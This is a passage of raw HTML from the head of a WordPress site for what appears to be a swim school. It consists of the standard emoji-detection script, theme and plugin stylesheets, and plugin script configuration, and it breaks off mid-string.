!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c\udfff","\ud83e\udef1\ud83c\udffb\u200b\ud83e\udef2\ud83c\udfff")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
	display: inline !important;
	border: none !important;
	box-shadow: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 0.07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
}
</style>
	<link rel='stylesheet' id='wp-block-library-css' href='https://swimsprouts.com/wp-includes/css/dist/block-library/style.min.css?ver=c6d4f54ff5f7e221a70cdd46daa396b3' type='text/css' media='all' />
<style id='wp-block-library-theme-inline-css' type='text/css'>
.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-audio{margin:0 0 1em}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}.wp-block-embed{margin:0 0 1em}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video{margin:0 0 1em}.wp-block-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}
</style>
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css' type='text/css'>
body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #FFF;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--accent: #2ea1db;--wp--preset--color--dark-gray: #111;--wp--preset--color--light-gray: #767676;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body .is-layout-grid{display: grid;}body .is-layout-grid > *{margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
.wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
.wp-block-pullquote{font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://swimsprouts.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8' type='text/css' media='all' />
<link rel='stylesheet' id='cookie-law-info-css' href='https://swimsprouts.com/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-public.css?ver=3.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='cookie-law-info-gdpr-css' href='https://swimsprouts.com/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-gdpr.css?ver=3.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='go-pricing-styles-css' href='https://swimsprouts.com/wp-content/plugins/go_pricing/assets/css/go_pricing_styles.css?ver=3.4' type='text/css' media='all' />
<link rel='stylesheet' id='spacexchimp_p005-bootstrap-tooltip-css-css' href='https://swimsprouts.com/wp-content/plugins/social-media-buttons-toolbar/inc/lib/bootstrap-tooltip/bootstrap-tooltip.css?ver=4.54.1' type='text/css' media='all' />
<link rel='stylesheet' id='spacexchimp_p005-frontend-css-css' href='https://swimsprouts.com/wp-content/plugins/social-media-buttons-toolbar/inc/css/frontend.css?ver=4.54.1' type='text/css' media='all' />
<style id='spacexchimp_p005-frontend-css-inline-css' type='text/css'>

                    .sxc-follow-buttons {
                        text-align: left !important;
                    }
                    .sxc-follow-buttons .sxc-follow-button,
                    .sxc-follow-buttons .sxc-follow-button a,
                    .sxc-follow-buttons .sxc-follow-button a img {
                        width: 64px !important;
                        height: 64px !important;
                    }
                    .sxc-follow-buttons .sxc-follow-button {
                        margin: 5px !important;
                    }
                  
</style>
<link rel='stylesheet' id='cmplz-general-css' href='https://swimsprouts.com/wp-content/plugins/complianz-gdpr/assets/css/cookieblocker.min.css?ver=6.5.3' type='text/css' media='all' />
<link rel='stylesheet' id='the7-font-css' href='https://swimsprouts.com/wp-content/themes/dt-the7/fonts/icomoon-the7-font/icomoon-the7-font.min.css?ver=11.8.1' type='text/css' media='all' />
<link rel='stylesheet' id='the7-awesome-fonts-css' href='https://swimsprouts.com/wp-content/themes/dt-the7/fonts/FontAwesome/css/all.min.css?ver=11.8.1' type='text/css' media='all' />
<link rel='stylesheet' id='the7-awesome-fonts-back-css' href='https://swimsprouts.com/wp-content/themes/dt-the7/fonts/FontAwesome/back-compat.min.css?ver=11.8.1' type='text/css' media='all' />
<link rel='stylesheet' id='the7-Defaults-css' href='https://swimsprouts.com/wp-content/uploads/smile_fonts/Defaults/Defaults.css?ver=c6d4f54ff5f7e221a70cdd46daa396b3' type='text/css' media='all' />
<link rel='stylesheet' id='the7-icomoon-font-awesome-14x14-css' href='https://swimsprouts.com/wp-content/uploads/smile_fonts/icomoon-font-awesome-14x14/icomoon-font-awesome-14x14.css?ver=c6d4f54ff5f7e221a70cdd46daa396b3' type='text/css' media='all' />
<link rel='stylesheet' id='tablepress-default-css' href='https://swimsprouts.com/wp-content/plugins/tablepress/css/build/default.css?ver=2.1.7' type='text/css' media='all' />
<link rel='stylesheet' id='js_composer_front-css' href='//swimsprouts.com/wp-content/uploads/js_composer/js_composer_front_custom.css?ver=6.13.0' type='text/css' media='all' />
<link rel='stylesheet' id='dt-web-fonts-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300,400,600,700%7CRoboto:400,600,700%7CRaleway:400,600,700' type='text/css' media='all' />
<link rel='stylesheet' id='dt-main-css' href='https://swimsprouts.com/wp-content/themes/dt-the7/css/main.min.css?ver=11.8.1' type='text/css' media='all' />
<style id='dt-main-inline-css' type='text/css'>
body #load {
  display: block;
  height: 100%;
  overflow: hidden;
  position: fixed;
  width: 100%;
  z-index: 9901;
  opacity: 1;
  visibility: visible;
  transition: all .35s ease-out;
}
.load-wrap {
  width: 100%;
  height: 100%;
  background-position: center center;
  background-repeat: no-repeat;
  text-align: center;
  display: -ms-flexbox;
  display: -ms-flex;
  display: flex;
  -ms-align-items: center;
  -ms-flex-align: center;
  align-items: center;
  -ms-flex-flow: column wrap;
  flex-flow: column wrap;
  -ms-flex-pack: center;
  -ms-justify-content: center;
  justify-content: center;
}
.load-wrap > svg {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%,-50%);
}
#load {
  background: var(--the7-elementor-beautiful-loading-bg,#ffffff);
  --the7-beautiful-spinner-color2: var(--the7-beautiful-spinner-color,#1e73be);
}

</style>
<link rel='stylesheet' id='the7-custom-scrollbar-css' href='https://swimsprouts.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.css?ver=11.8.1' type='text/css' media='all' />
<link rel='stylesheet' id='the7-wpbakery-css' href='https://swimsprouts.com/wp-content/themes/dt-the7/css/wpbakery.min.css?ver=11.8.1' type='text/css' media='all' />
<link rel='stylesheet' id='the7-core-css' href='https://swimsprouts.com/wp-content/plugins/dt-the7-core/assets/css/post-type.min.css?ver=2.7.6' type='text/css' media='all' />
<link rel='stylesheet' id='the7-css-vars-css' href='https://swimsprouts.com/wp-content/uploads/the7-css/css-vars.css?ver=7d729749722a' type='text/css' media='all' />
<link rel='stylesheet' id='dt-custom-css' href='https://swimsprouts.com/wp-content/uploads/the7-css/custom.css?ver=7d729749722a' type='text/css' media='all' />
<link rel='stylesheet' id='dt-media-css' href='https://swimsprouts.com/wp-content/uploads/the7-css/media.css?ver=7d729749722a' type='text/css' media='all' />
<link rel='stylesheet' id='the7-mega-menu-css' href='https://swimsprouts.com/wp-content/uploads/the7-css/mega-menu.css?ver=7d729749722a' type='text/css' media='all' />
<link rel='stylesheet' id='the7-elements-albums-portfolio-css' href='https://swimsprouts.com/wp-content/uploads/the7-css/the7-elements-albums-portfolio.css?ver=7d729749722a' type='text/css' media='all' />
<link rel='stylesheet' id='the7-elements-css' href='https://swimsprouts.com/wp-content/uploads/the7-css/post-type-dynamic.css?ver=7d729749722a' type='text/css' media='all' />
<link rel='stylesheet' id='style-css' href='https://swimsprouts.com/wp-content/themes/dt-the7/style.css?ver=11.8.1' type='text/css' media='all' />
<link rel='stylesheet' id='ultimate-vc-addons-style-css' href='https://swimsprouts.com/wp-content/plugins/Ultimate_VC_Addons/assets/min-css/style.min.css?ver=3.19.15' type='text/css' media='all' />
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.0' id='jquery-core-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1' id='jquery-migrate-js'></script>
<script type='text/javascript' async src='https://swimsprouts.com/wp-content/plugins/burst-statistics/helpers/timeme/timeme.min.js?ver=1.4.5' id='burst-timeme-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2' id='wp-polyfill-inert-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.11' id='regenerator-runtime-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0' id='wp-polyfill-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1' id='wp-hooks-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/dist/i18n.min.js?ver=7701b0c3857f914212ef' id='wp-i18n-js'></script>
<script id="wp-i18n-js-after" type="text/javascript">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
</script>
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/dist/url.min.js?ver=8814d23f2d64864d280d' id='wp-url-js'></script>
<script type='text/javascript' id='wp-api-fetch-js-translations'>
( function( domain, translations ) {
	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
	localeData[""].domain = domain;
	wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2023-08-08 16:08:07+0000","generator":"GlotPress\/4.0.0-alpha.7","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n != 1;","lang":"en_GB"},"You are probably offline.":["You are probably offline."],"Media upload failed. If this is a photo or a large image, please scale it down and try again.":["Media upload failed. If this is a photo or a large image, please scale it down and try again."],"The response is not a valid JSON response.":["The response is not a valid JSON response."],"An unknown error occurred.":["An unknown error occurred."]}},"comment":{"reference":"wp-includes\/js\/dist\/api-fetch.js"}} );
</script>
<script type='text/javascript' src='https://swimsprouts.com/wp-includes/js/dist/api-fetch.min.js?ver=0fa4dabf8bf2c7adf21a' id='wp-api-fetch-js'></script>
<script id="wp-api-fetch-js-after" type="text/javascript">
wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "https://swimsprouts.com/wp-json/" ) );
wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "42869163a8" );
wp.apiFetch.use( wp.apiFetch.nonceMiddleware );
wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware );
wp.apiFetch.nonceEndpoint = "https://swimsprouts.com/wp-admin/admin-ajax.php?action=rest-nonce";
</script>
<script type='text/javascript' id='burst-js-extra'>
/* <![CDATA[ */
var burst = {"url":"https:\/\/swimsprouts.com\/wp-json\/","page_id":"46","cookie_retention_days":"30","beacon_url":"https:\/\/swimsprouts.com\/burst-statistics-endpoint.php","options":{"beacon_enabled":1,"enable_cookieless_tracking":0,"enable_turbo_mode":0,"do_not_track":0},"goals":[],"goals_script_url":"https:\/\/swimsprouts.com\/wp-content\/plugins\/burst-statistics\/\/assets\/js\/build\/burst-goals.js"};
/* ]]> */
</script>
<script type='text/javascript' async src='https://swimsprouts.com/wp-content/plugins/burst-statistics/assets/js/build/burst.min.js?ver=1.4.5' id='burst-js'></script>
<script type='text/javascript' id='cookie-law-info-js-extra'>
/* <![CDATA[ */
var Cli_Data = {"nn_cookie_ids":[],"cookielist":[],"non_necessary_cookies":[],"ccpaEnabled":"","ccpaRegionBased":"","ccpaBarEnabled":"","strictlyEnabled":["necessary","obligatoire"],"ccpaType":"gdpr","js_blocking":"","custom_integration":"","triggerDomRefresh":"","secure_cookies":""};
var cli_cookiebar_settings = {"animate_speed_hide":"500","animate_speed_show":"500","background":"#FFF","border":"#b1a6a6c2","border_on":"","button_1_button_colour":"#000","button_1_button_hover":"#000000","button_1_link_colour":"#fff","button_1_as_button":"1","button_1_new_win":"","button_2_button_colour":"#333","button_2_button_hover":"#292929","button_2_link_colour":"#444","button_2_as_button":"","button_2_hidebar":"","button_3_button_colour":"#000","button_3_button_hover":"#000000","button_3_link_colour":"#fff","button_3_as_button":"1","button_3_new_win":"","button_4_button_colour":"#000","button_4_button_hover":"#000000","button_4_link_colour":"#62a329","button_4_as_button":"","button_7_button_colour":"#61a229","button_7_button_hover":"#4e8221","button_7_link_colour":"#fff","button_7_as_button":"1","button_7_new_win":"","font_family":"inherit","header_fix":"","notify_animate_hide":"1","notify_animate_show":"","notify_div_id":"#cookie-law-info-bar","notify_position_horizontal":"right","notify_position_vertical":"bottom","scroll_close":"","scroll_close_reload":"","accept_close_reload":"","reject_close_reload":"","showagain_tab":"","showagain_background":"#fff","showagain_border":"#000","showagain_div_id":"#cookie-law-info-again","showagain_x_position":"100px","text":"#000","show_once_yn":"","show_once":"10000","logging_on":"","as_popup":"","popup_overlay":"1","bar_heading_text":"","cookie_bar_as":"banner","popup_showagain_position":"bottom-right","widget_position":"left"};
var log_object = {"ajax_url":"https:\/\/swimsprouts.com\/wp-admin\/admin-ajax.php"};
/* ]]> */
</script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-public.js?ver=3.1.1' id='cookie-law-info-js'></script>
<script id="gw-tweenmax-js-before" type="text/javascript">
var oldGS=window.GreenSockGlobals,oldGSQueue=window._gsQueue,oldGSDefine=window._gsDefine;window._gsDefine=null;delete(window._gsDefine);var gwGS=window.GreenSockGlobals={};
</script>
<script type='text/javascript' src='https://cdnjs.cloudflare.com/ajax/libs/gsap/1.11.2/TweenMax.min.js' id='gw-tweenmax-js'></script>
<script id="gw-tweenmax-js-after" type="text/javascript">
try{window.GreenSockGlobals=null;window._gsQueue=null;window._gsDefine=null;delete(window.GreenSockGlobals);delete(window._gsQueue);delete(window._gsDefine);window.GreenSockGlobals=oldGS;window._gsQueue=oldGSQueue;window._gsDefine=oldGSDefine;}catch(e){}
</script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/social-media-buttons-toolbar/inc/lib/bootstrap-tooltip/bootstrap-tooltip.js?ver=4.54.1' id='spacexchimp_p005-bootstrap-tooltip-js-js'></script>
<script type='text/javascript' id='dt-above-fold-js-extra'>
/* <![CDATA[ */
var dtLocal = {"themeUrl":"https:\/\/swimsprouts.com\/wp-content\/themes\/dt-the7","passText":"To view this protected post, enter the password below:","moreButtonText":{"loading":"Loading...","loadMore":"Load more"},"postID":"46","ajaxurl":"https:\/\/swimsprouts.com\/wp-admin\/admin-ajax.php","REST":{"baseUrl":"https:\/\/swimsprouts.com\/wp-json\/the7\/v1","endpoints":{"sendMail":"\/send-mail"}},"contactMessages":{"required":"One or more fields have an error. Please check and try again.","terms":"Please accept the privacy policy.","fillTheCaptchaError":"Please, fill the 